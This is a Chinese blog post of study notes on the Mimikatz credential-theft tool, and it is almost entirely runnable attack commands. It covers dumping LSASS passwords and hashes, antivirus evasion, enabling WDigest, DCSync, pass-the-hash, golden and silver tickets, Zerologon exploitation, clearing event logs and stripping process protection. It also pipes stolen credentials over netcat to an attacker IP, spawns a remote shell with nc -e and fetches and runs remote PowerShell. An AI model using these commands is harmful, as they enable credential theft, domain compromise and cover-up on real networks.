学习笔记-Mimikatz

Mimikatz

免责声明

本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.


项目地址

文章 & Reference

辅助项目


基本使用

提权

privilege::debug    # 获取调试权限

抓取密码

sekurlsa::logonpasswords

如果你没有访问 lsass 进程的权限,那你就抓不到密码, 报错如下

ERROR kuhl_m_sekurlsa_acquireLSA ; Handle on memory (0x00000005)

输出

mimikatz.exe ""privilege::debug"" ""log sekurlsa::logonpasswords full"" exit && dir
# 记录 Mimikatz 输出
mimikatz.exe ""privilege::debug"" ""sekurlsa::logonpasswords full"" exit >> log.txt
# 输出到 log.txt

parameter -patch

privilege::debug
lsadump::lsa /patch

Token Elevation

获得 MachineAccount 口令 hash

privilege::debug
token::elevate
lsadump::secrets

输出

mimikatz.exe ""privilege::debug"" ""token::elevate"" ""lsadump::secrets"" exit >> log.txt

MSCACHE

privilege::debug
lsadump::cache

rdp

privilege::debug
vault::cred /patch

离线抓取 (lsass dump)

相关文章

远程传输

输出传输到远程机器

# Attacker 执行
nc -lvp 4444

# Victim 执行
mimikatz.exe ""privilege::debug"" ""sekurlsa::logonpasswords full"" exit | nc.exe -vv 192.168.1.1 4444
# 192.168.1.1 为Attacker IP

通过 nc 远程执行

# Victim 执行
nc -lvp 443

# Attacker 执行
nc.exe -vv 192.168.1.2 443 -e mimikatz.exe
# 192.168.1.2 为 Victim IP

直接转储(Task Manager)

在任务管理器找到 lsass.exe,右键创建转储文件

ProcDump

procdump 是微软的官方工具,不会被杀,所以如果你的 mimikatz 不免杀,可以用 procdump 导出 lsass.dmp 后拖回本地抓取密码来规避杀软。

Procdump.exe -accepteula -ma lsass.exe lsass.dmp

也可以采用 pid 方式规避杀软

tasklist /fi "imagename eq lsass.exe"
procdump -accepteula -ma 640 lsass.dmp

然后用 mimikatz 加载导出来的内存再抓 hash

sekurlsa::minidump c:\users\test\appdata\local\temp\lsass.dmp
sekurlsa::logonpasswords full

SharpDump

在管理员权限下运行生成 debug480.bin

特别注意,dump 的文件默认是 bin 后缀,拖到本地机器以后,需要自行把 bin 重命名为 zip 的后缀,然后正常解压出里面的文件,再丢给 mimikatz 去读取即可,如下

mimikatz 加载 dump 文件

sekurlsa::minidump debug480
sekurlsa::logonPasswords full

还有一些工具

  • SqlDumper
    tasklist /svc | findstr lsass.exe  # 查看lsass.exe 的PID号
    # 或powershell 下
    Get-Process lsass
    
    Sqldumper.exe ProcessID 0 0x01100  # 导出mdmp文件

ComSvcs.dll

使用 C:\windows\system32\comsvcs.dll 的导出函数 MiniDump 能够 dump 指定进程的内存文件

在 dump 指定进程内存文件时,需要开启 SeDebugPrivilege 权限, 管理员权限的 cmd 下,默认支持 SeDebugPrivilege 权限,但是状态为 Disabled

直接在 cmd 下执行 rundll32 的命令尝试 dump 指定进程内存文件时,由于无法开启 SeDebugPrivilege 权限,所以会失败, 管理员权限的 powershell 下,默认支持 SeDebugPrivilege 权限,并且状态为 Enabled

所以可以通过 powershell 执行 rundll32 的命令实现

Get-Process lsass
powershell -c "rundll32 C:\windows\system32\comsvcs.dll, MiniDump 516 C:\lsass.dmp full"

windbg 中载入 mimilib 模块

可通过 notmyfault 强制蓝屏

也可以使用 Bin2Dmp 将 vmem 文件转为 dmp 文件

Bin2Dmp.exe "Windows Server 2008 x64.vmem" win2k8.dmp

在 windbg 中载入 dmp 文件

运行 .symfix ,然后执行 .reload

运行 .load D:\xxx\mimilib.dll windbg 中载入 mimilib 模块

!process 0 0 lsass.exe 查找 lsass 进程

.process /r /p 将镜像 lsass 环境转换到本机中

!mimikatz 载入 mimikatz

LsassSilentProcessExit

LSASS Shtinkering

HandleKatz

  • codewhitesec/HandleKatz - 使用完全与位置无关的代码来实现了转储lsass的功能。该工具通过自己实现 PIC,不需要修改从定位表,只需要使用 .text 段,避免了全局变量或者静态变量的使用,并且还可以减少在 sysmon even 产生的日志。还通过 NtDuplicateObject 函数克隆其他已经有 lsass 进程的 handle 来绕过 sysmon 产生进程打开时的 ProcessAccess 事件。
    loader.exe --pid:7331 --outfile:C:\Temp\dump.obfuscated

无法抓取 windows 明文密码的解决方法

换个操作系统

破解 lsass.dmp 文件是需要系统内核版本

比如在 win03 系统上获取到 lsass.dmp 文件要在 win03 下运行 mimikatz 破解

改注册表

在 KB2871997 之前, Mimikatz 可以直接抓取明文密码。

微软在 win7 之后就打了补丁 kb2871997,当服务器安装 KB2871997 补丁后,系统默认禁用 Wdigest Auth ,内存(lsass 进程)不再保存明文口令。Mimikatz 将读不到密码明文。

但由于一些系统服务需要用到 Wdigest Auth,所以该选项是可以手动开启的。(开启后,需要用户重新登录才能生效)

以下是支持的系统:

  • Windows 7
  • Windows 8
  • Windows 8.1
  • Windows Server 2008
  • Windows Server 2012
  • Windows Server 2012R 2

开启 Wdigest Auth

  • cmd

    reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
  • powershell

    Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 1
  • meterpreter

    reg setval -k HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest -v UseLogon

关闭 Wdigest Auth

  • cmd

    reg add HKLMSYSTEMCurrentControlSetControlSecurityProvidersWDigest /v UseLogonCredential /t REG_DWORD /d 0 /f
  • powershell

    Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 0
  • meterpreter

    reg setval -k HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest -v UseLogonCreden

让管理员重新登录

在开启 Wdigest Auth 后,需要管理员重新登录才能抓明文密码。

强制锁屏

  • cmd

    rundll32 user32.dll,LockWorkStation
  • powershell

    Function Lock-WorkStation
    {
    $signature = @"
    [DllImport("user32.dll", SetLastError = true)]
    public static extern bool LockWorkStation();
    "@
    $LockWorkStation = Add-Type -memberDefinition $signature -name "Win32LockWorkStation" -namespace Win32Functions -passthru
    $LockWorkStation::LockWorkStation() | Out-Null
    }
    Lock-WorkStation
    powershell -c "IEX (New-Object Net.WebClient).DownloadString('https://x.x.x.x/Lock-WorkStation.ps1');"

    重新读取,可读到明文密码。

ssp

mimikatz 包含的 SSP 提供自动记录本地验证凭证的功能。这包括计算机账户密码、运行服务凭证和任何登录的账户。默认情况下,这些数据会被记录在与 dll 文件相同的位置上,但也可以在系统的其他地方记录这些数据。如果 Windows 系统是一个提供认证用户访问权限的域控制器,那么备用的日志位置可以在 SYSVOL 中。

privilege::debug
misc::memssp

记录的结果在 c:/windows/system32/mimilsa.log

dll

在 mimikatz 中有 32 和 64 两个版本,安装包里分别都带有不同位数的 mimilib.dll, 将对应版本的 dll 文件复制到 c:\windows\system32 下

将注册表中 Security Packages 的值设置为 mimilib.dll

reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v "Security Packages" /t REG_MULTI_SZ /d mimilib.dll /f

等待系统重启后,在 c:\windows\system32 生成文件 kiwissp.log,记录当前用户的明文口令


NTDS.DIT

使用 Mimikatz 提取 Active Directory hash

privilege::debug
mimikatz lsadump::lsa /inject exit
sekurlsa::minidump c:\temp\lsass.dmp      使用 Mimikatz 转储 LSASS 内存
sekurlsa::logonpasswords

DCSync

Mimikatz 有一个功能(dcsync),利用目录复制服务(DRS)从 NTDS.DIT 文件中检索密码哈希值。

DCSync 是 mimikatz 在 2015 年添加的一个功能,由 Benjamin DELPY gentilkiwi 和 Vincent LE TOUX 共同编写,能够用来导出域内所有用户的 hash

利用 DRS(Directory Replication Service) 协议通过 IDL_DRSGetNCChanges 从域控制器复制用户凭据

该技术消除了直接从域控制器进行认证的必要性,因为它可以从域管理员环境中属于域的任意系统执行。

运行 DCSync 需要特殊权限。管理员,域管理员或企业管理员以及域控制器计算机帐户的任何成员都能够运行 DCSync 来提取密码数据。请注意,只读域控制器不仅可以默认为用户提取密码数据。

privilege::debug
lsadump::dcsync /domain:ffffffff0x.com /all /csv

通过使用 /user 参数指定域用户名,Mimikatz 会将该指定用户的所有帐户信息转储包括哈希值。

lsadump::dcsync /domain:ffffffff0x.com /user:krbtgt
lsadump::dcsync /domain:ffffffff0x.com /user:test

可以直接在域控制器中执行 Mimikatz,通过 lsass.exe 进程 dump 密码哈希

privilege::debug
lsadump::lsa /inject

特权用户下

runas /noprofile /user:test@ffffffff0x.com cmd
mimikatz.exe privilege::debug "lsadump::dcsync /domain:ffffffff0x.com /all /csv" exit

PTH

在对 Windows 系统进行渗透测试过程中,如果获取目标机器的系统权限,则可以通过 hashdump 的方式获取目标机器历史登录信息,包括用户名和用户明文密码或者用户 hash,如果无法直接获取目标用户明文密码,则可以通过 pth 的方式远程登录目标机器

相关文章

mimikatz 进行 PtH

  1. (工作组)通过 pth 进行远程登录(cmd)

    mimikatz.exe privilege::debug
    
    mimikatz.exe privilege::debug "sekurlsa::pth /user:用户名  /domain:目标机器IP  /ntlm:密码哈希"
    
    mimikatz.exe privilege::debug "sekurlsa::pth /user:win10 /domain:192.168.1.1 /ntlm:xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
    
    net use \\192.168.1.1\c$
    dir \\192.168.1.1\c$
  2. (域)通过 pth 进行远程登录(cmd)

    mimikatz.exe privilege::debug
    mimikatz.exe sekurlsa::logonpasswords
    
    mimikatz.exe privilege::debug "sekurlsa::pth /domain:目标机器的域 /user:目标机器的用户名 /ntlm:用户名对应的hash"
    
    mimikatz.exe privilege::debug "sekurlsa::pth /user:win10 /domain:test.com /ntlm:xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
  3. 通过 pth 进行远程登录(mstsc)

    # 管理员权限下执行以下命令:
    mimikatz.exe privilege::debug "sekurlsa::pth /domain:目标机器的域 /user:目标机器的用户名 /ntlm:用户名对应的hash /run:mstsc.exe /restrictedadmin"

    RDP 限制管理模式是建立在 Kerberos 基础上的。看一下网络流量,可以看到 RDP 客户端代表模拟的用户请求 ticket,这没有问题,因为我们只需要通过哈希来验证 Kerberos。

受限管理模式

通过 pth 的方式远程登录有一个限制:受限管理模式(Restricted Admin mode)

  • Windows8.1 和 Windows Server 2012(R2)默认支持该功能
  • Win7 和 Windows Server 2008(R2)默认不支持该功能,需要安装补丁 KB2871997 和 KB2973351
  1. 安装补丁 KB3126593,其原理与下述的修改注册表的原理是一致的

  2. 修改注册表

    HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa
    
    # 新建 DWORD 键值 DisableRestrictedAdmin,值为 0,代表开启;值为 1,代表关闭
    REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f

    在获取目标系统权限之后,通过 cmd 交互,可以轻松关闭受限管理模式

  3. mimikatz 修改注册表

    如果你有一个用户的 NTLM 哈希值,而这个用户有设置注册表的权限,你可以使用 Powershell 来启用它,然后通过 RDP 登录。

    mimikatz.exe privilege::debug "sekurlsa::pth /user:<user name> /domain:<domain name> /ntlm:<the user's ntlm hash> /run:powershell.exe"
    Enter-PSSession -Computer <Target>
    New-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa" -Name "DisableRestrictedAdmin" -Value "0"
  4. 使用攻击机自己的用户及 Hash 进行远程登录

    mstsc.exe /restrictedadmin

    如果当前系统支持受限管理模式,则上述命令执行后会直接弹出远程登录的登录界面;如果当前系统不支持受限管理模式,则上述命令执行后会弹出远程桌面的参数说明

    如果上述命令顺利执行,输入目标机器的 IP 和端口,可直接进行远程登录,不需要输入任何口令,这种方式会使用当前攻击机的用户名和用户 hash 尝试登录目标机器

    开启 Restricted Admin mode

    REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f

PTT

Silver_Tickets

导出 Server Hash

mimikatz.exe "privilege::debug” "sekurlsa::logonpasswords" "exit" > log.txt

使用 mimikatz 伪造白银票据:

mimikatz.exe "kerberos::golden /domain:<域名> /sid:<域 SID> /target:<目标服务器主机名> /service:<服务类型> /rc4:<NTLM Hash> /user:<用户名> /ptt" exit

例子:访问域控上的 cifs 服务(Windoiws 主机间的文件共享)

在域控上执行以下命令获取本地账户 NTLM Hash 和 SID

mimikatz.exe "privilege::debug” "sekurlsa::logonpasswords" "exit" > log.txt

然后将生成白银票据注入到内存中,并查看票据生成情况。查看目标的文件共享服务成功:

kerberos::golden /domain:ffffffff0x.com /sid:S-1-5-21-1112871890-2494343973-3486175548 /target:WIN-A5GPDCPJ7OT.ffffffff0x.com /rc4:f9ca454a3544172034a8666a79eda95e /service:cifs /user:test /ptt

# 这里的 cifs 是指的文件共享服务,有了 cifs 服务权限,就可以访问域控制器的文件系统

访问测试

例子:DCSync

有 LDAP 特权情况下,可以实现 DCSync

mimikatz "kerberos::golden /domain:<域名> /sid:<域 SID> /target:<目标服务器主机名> /service:LDAP /rc4:<NTLM Hash> /user:krbtgt /ptt" "lsadump::dcsync /domain:test.com /all /csv" exit
  • 只能在域内计算机上运行,不支持域外
  • /sid 表示域的 sid, 任一域用户的 sid 去除最后一位就是域的 sid
  • /rc4 表示计算机帐户的 NTLM hash
  • /user:krbtgt 表示伪造成用户 krbtgt,生成票据
mimikatz "kerberos::golden /domain:ffffffff0x.com /sid:S-1-5-21-1112871890-2494343973-3486175548 /target:WIN-A5GPDCPJ7OT.ffffffff0x.com /service:LDAP /rc4:b0924e2e9d84ba0679c59f3730e91400 /user:krbtgt /ptt" "lsadump::dcsync /domain:ffffffff0x.com /all /csv" exit

Golden_Tickets

在 AS_REQ & AS_REP 中,用户使用自身 hash 加密时间戳发送给 KDC,KDC 验证成功后返回用 krbtgt hash 加密的 TGT 票据。如果攻击者有 krbtgt 的 hash,就可以自己给自己签发任意用户的 tgt 票据。

先导出 krbtgt 的 hash

privilege::debug
lsadump::lsa /patch

# 或

lsadump::dcsync /domain:<域名> /user:krbtgt

使用 mimikatz 伪造的黄金票据,这里生成 Golden Ticket 不仅可以使用 aes256,也可用 krbtgt 的 NTLM hash

kerberos::golden /user:<用户名> /domain:<域名> /sid:<域SID> /krbtgt:<Hash> /ticket:test.kiribi

利用 mimikatz 的 kerberos::ptt 将黄金票据 test.kiribi 注入到内存中:

# 清除缓存的票据
kerberos::purge

# 注入黄金票据 test.kiribi
kerberos::ptt test.kiribi

# 列出票据
kerberos::list

导入的票据在20分钟内有效,过期之后再次导入就行

现在可以访问域控共享目录,还能在 DC 上远程执行 psexec

但是需要注意的是用 psexec 远程执行命令的时候,需要不能使用 IP 访问。使用 NetBios 的服务名访问才会走 Kerberos 认证,达到伪造凭据的攻击

例子

在数据库服务器上,利用域管理员的权限获得 krbtgt 的 NTLM 哈希 和 SID

使用 Mimikatz 抓取 Krbtgt 账号的密码

mimikatz.exe "lsadump::dcsync /domain:ffffffff0x.com /user:krbtgt" > log.txt

得到 krbtgt 哈希之后,使用 mimikatz 的 kerberos::golden 生成黄金票据 test.kiribi

kerberos::golden /user:administrator /domain:FFFFFFFF0X.com /sid:S-1-5-21-1112871890-2494343973-3486175548 /krbtgt:743093920acd8d427323c24c0e2c52c2 /ticket:test.kiribi

/admin 为伪造的用户名,用户名可以任意伪造 /domain 为目标的域名 /sid 为目标域名的 SID /krbtgt 为 krbtgt 账户密码的 NTLM Hash /ticket 为要伪造的黄金票据的名称

注入黄金票据

kerberos::ptt test.kiribi

访问测试


PTK

# 获取用户的 aes key
mimikatz "privilege::debug" "sekurlsa::ekeys"

# 注意查看 aes256_hmac 和 aes128_hmac

mimikatz "privilege::debug" "sekurlsa::pth /user:test /domain:test.com /aes256:c4388a1fb9bd65a88343a32c09e53ba6c1ead4de8a17a442e819e98c522fc288"

域控未打 KB2871997 补丁前,无法使用 Key 传递攻击


zerologon

# 检测
lsadump::zerologon /target:WIN-A5GPDCPJ7OT.ffffffff0x.com /account:WIN-A5GPDCPJ7OT$

# 利用
lsadump::zerologon /target:WIN-A5GPDCPJ7OT.ffffffff0x.com /account:WIN-A5GPDCPJ7OT$ /exploit

# 使用空密码登录域管
lsadump::dcsync /domain:ffffffff0x.com /dc:WIN-A5GPDCPJ7OT.ffffffff0x.com /user:krbtgt /authuser:WIN-A5GPDCPJ7OT$ /authdomain:ffffffff0x /authpassword:"" /authntlm

# 导出hash
lsadump::dcsync /domain:ffffffff0x.com /dc:WIN-A5GPDCPJ7OT.ffffffff0x.com /user:administrator /authuser:WIN-A5GPDCPJ7OT$ /authdomain:ffffffff0x /authpassword: /authntlm

# 恢复密码
lsadump::postzerologon /target:192.168.141.154 /account:WIN-A5GPDCPJ7OT$

后渗透

多用户登录 3389

ts::multirdp

清除日志

event::drop

粘贴板信息

misc::clip

绕过RunAsPPL

RunAsPPL 有效地阻止了 Mimikatz 访问的内存 lsass.exe

为此,Mimikatz 使用数字签名的驱动程序来删除内核中 Process 对象的保护标志。该文件 mimidrv.sys 必须位于当前文件夹中,以便使用命令作为内核驱动程序服务加载!+。然后,您可以使用命令! processprotect 删除保护并最终访问 lsass.exe。

mimikatz # !+
mimikatz # !processprotect /process:lsass.exe /remove
mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords

完成后,您甚至可以使用相同的命令 “恢复” 保护,而无需使用 / remove 参数,最后使用!- 卸载驱动程序。

mimikatz # !processprotect /process:lsass.exe
mimikatz # !-

DPAPI

查看目标Windows凭据管理器中是否保存有各种系统连接账密

cmdkey /l

通过读取 Lsass 进程信息,获取当前系统中的 MasterKey,能获得多个 Master Key file 对应的 MasterKey

privilege::debug
sekurlsa::dpapi

RDP

Windows 保存 RDP 凭据的目录是 C:\Users\用户名\AppData\Local\Microsoft\Credentials

可通过命令行获取,执行: cmdkey /listpowerpick Get-ChildItem C:\Users\用户名\AppData\Local\Microsoft\Credentials\ -Force

注意: cmdkey /list 命令务必在 Session 会话下执行,system 下执行无结果。

mimikatz 获取 guidMasterKey,再通过 guid 来找到其所对应的 Masterkey

privilege::debug
dpapi::cred /in:C:\Users\USERNAME\AppData\Local\Microsoft\Credentials\SESSIONID

pbData 是我们要解密的数据,guidMasterKey 是解密所需要的密钥,找到对应的 Masterkey 才能解密

根据上面的 guidMasterKey 来确定其对应的 MasterKey, 如下所示

sekurlsa::dpapi

dpapi::cred /in:C:\Users\USERNAME\Desktop\test\SESSIONID /masterkey:对应GUID的masterkey"


MSTSC Passwords

从 Svchost.exe Dump RDP 明文密码

privilege::debug
ts::mstsc

在 RDP 连接目标时才能抓出来


防御手段

点击关注,共同学习!安全狗的自我修养

github haidragon

https://github.com/haidragon

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

C-haidragon

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值